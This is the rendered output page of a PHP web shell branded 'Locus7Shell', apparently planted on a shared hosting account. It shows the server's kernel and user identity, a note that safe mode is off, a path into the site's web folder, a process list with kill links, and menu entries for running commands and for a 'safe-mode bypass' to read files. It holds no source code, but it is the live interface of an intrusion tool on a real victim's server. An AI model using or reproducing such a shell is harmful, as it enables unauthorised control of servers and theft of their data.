![]() | |
---|---|
Software: Apache. PHP/5.4.45 uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue uid=243112(mycochar) gid=100(users) groups=100(users) Safe-mode: OFF (not secure) /home/mycochar/www/image/photo/go/test/fixedbugs/issue44355.dir/ drwxr-xr-x |
Processes: | |||||||||||
USER | PID | %CPU | %MEM | VSZ | RSS | TTY | STAT | START | TIME | COMMAND | |
mycochar | 32631 | 0.7 | 0.0 | 1146068 | 23852 | ? | S | 01:27 | 0:00 | php-fpm: pool mycochar (php5.4) | KILL |
mycochar | 32632 | 0.6 | 0.0 | 1146068 | 23852 | ? | S | 01:27 | 0:00 | php-fpm: pool mycochar (php5.4) | KILL |
mycochar | 32636 | 0.6 | 0.0 | 1146580 | 24332 | ? | S | 01:27 | 0:00 | php-fpm: pool mycochar (php5.4) | KILL |
mycochar | 32644 | 0.5 | 0.0 | 1146068 | 23852 | ? | S | 01:27 | 0:00 | php-fpm: pool mycochar (php5.4) | KILL |
mycochar | 32649 | 0.6 | 0.0 | 1146068 | 23852 | ? | S | 01:27 | 0:00 | php-fpm: pool mycochar (php5.4) | KILL |
mycochar | 32651 | 0.6 | 0.0 | 1146068 | 23852 | ? | S | 01:27 | 0:00 | php-fpm: pool mycochar (php5.4) | KILL |
mycochar | 45504 | 0.3 | 0.0 | 1146072 | 23792 | ? | S | 01:28 | 0:00 | php-fpm: pool mycochar (php5.4) | KILL |
mycochar | 45512 | 0.5 | 0.0 | 1147100 | 24428 | ? | S | 01:28 | 0:00 | php-fpm: pool mycochar (php5.4) | KILL |
mycochar | 45518 | 0.3 | 0.0 | 1146076 | 23796 | ? | S | 01:28 | 0:00 | php-fpm: pool mycochar (php5.4) | KILL |
mycochar | 47274 | 0.0 | 0.0 | 3496 | 2488 | ? | S | 01:28 | 0:00 | sh -c (ps -aux)2>&1 | KILL |
mycochar | 47275 | 0.0 | 0.0 | 2960 | 1796 | ? | R | 01:28 | 0:00 | ps -aux | KILL |
Useful Commands
|
Php Safe-Mode Bypass (Read Files)
|
--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0129 ]-- |